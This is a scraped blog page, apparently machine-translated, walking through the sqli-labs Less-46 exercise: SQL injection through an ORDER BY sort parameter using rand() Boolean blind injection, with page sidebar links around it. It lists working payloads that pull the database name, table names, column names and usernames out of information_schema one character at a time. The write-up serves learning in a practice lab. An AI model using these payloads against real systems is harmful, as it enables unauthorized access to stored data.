当前位置:网站首页>SQL injection Less46 (injection after order by + rand() Boolean blind injection)
SQL injection Less46 (injection after order by + rand() Boolean blind injection)
2022-07-31 02:47:00 【happy star】
$id=$_GET['sort'];$sql = "SELECT * FROM users ORDER BY$id";Our injection point is in the parameters after order by, and order by is different from our injection point after where, we cannot use union etc. for injection.
Test for injection point
?sort=1 desc?sort=1 asc
desc means descend means descending order
asc means ascend means ascending order
The returned result is different, indicating that it can be injected.Some parameters after order by can be used for injection
The following part has nothing to do with solving the problem, just look at the part of the Boolean blind note.?sort=right(version(),1)?sort=left(version(),1)
The returned results are all 

I think it may be a character number, so I tried again
I don't know if the type conversion will be done automatically
?sort=5
?sort='5'
So, left(version(),1) should really return a character number
Boolean Blinds
select * from users order by rand();
Randomly sort the users table.
rand() returns a 0-1 floating point number, and order by is followed by the column name or column number.
In fact, it can be understood that a rand field has been added to the users table, and the field value is randomly generated.Sort the users table according to the rand field.So the effect of random sorting is reached.
For more principles, see this
MySQL-17: order by rand()
select * from users order by rand(1);select * from users order by rand(0);
?sort=rand(1)
?sort=rand(0)
?sot=rand(1=1)
?sort=rand(length(database())=8)
?sort=rand(ascii(substr(database(),1,1))=115)
?sort=rand(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101)
?sort=rand(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i')
?sort=rand(ascii(substr((select username from users limit 0,1), 1,1))=68)
Of course this question can be written with time blind injection and error injection, Less47 will use error injection to write
https://blog.csdn.net/Kevinhanser/article/details/81563461
https://blog.csdn.net/weixin_43901998/article/details/107577630
边栏推荐
- Maximum area of solar panel od js
- 修改未正确放入沙盒造成苹果兼容性问题
- The Sad History of Image Processing Technology
- CorelDRAW2022精简亚太新增功能详细介绍
- mmdetection trains a model related command
- 【Android】Room —— SQLite的替代品
- 如何搭建私有yum源
- The modification is not properly placed in the sandbox, causing Apple compatibility issues
- 11. Redis implements follow, unfollow, and follow and follower lists
- Word/Excel fixed table size, when filling in the content, the table does not change with the cell content
猜你喜欢

STM32CUBEMX develops GD32F303 (11) ---- ADC scans multiple channels in DMA mode

YOLOV5 study notes (3) - detailed explanation of network module

19.支持向量机-优化目标和大间距直观理解

12 磁盘相关命令

What level of software testing does it take to get a 9K job?

局域网电脑硬件信息收集工具

CefSharp入门-winform

【C语言】表达式求值的一般方法

加密公司向盗窃的黑客提供报价:保留一点,把剩下的归还

数学解决——环形链表问题
随机推荐
General introduction to the Unity interface
Installation of mysql5.7.37 under CentOS7 [perfect solution]
YOLOV5 study notes (3) - detailed explanation of network module
Calculate S=a+aa+…+aa…a
The simulation application of common mode inductance is here, full of dry goods for everyone
LeetCode 1161 最大层内元素和[BFS 二叉树] HERODING的LeetCode之路
Project (5) - Small target detection tph-yolov5
SQL injection Less54 (limited number of SQL injection + union injection)
Layer 2 broadcast storm (cause + judgment + solution)
16. Registration Center-consul
The final exam first year course
Chapter 9 SVM实践
SQL 面试用题(重点)
加密公司向盗窃的黑客提供报价:保留一点,把剩下的归还
There is a problem with the multiplayer-hlap package and the solution cannot be upgraded
Detailed explanation of STP election (step + case)
7、私信列表
关于 mysql8.0数据库中主键位id,使用replace插入id为0时,实际id插入后自增导致数据重复插入 的解决方法
The modification is not properly placed in the sandbox, causing Apple compatibility issues
SQL注入 Less54(限制次数的SQL注入+union注入)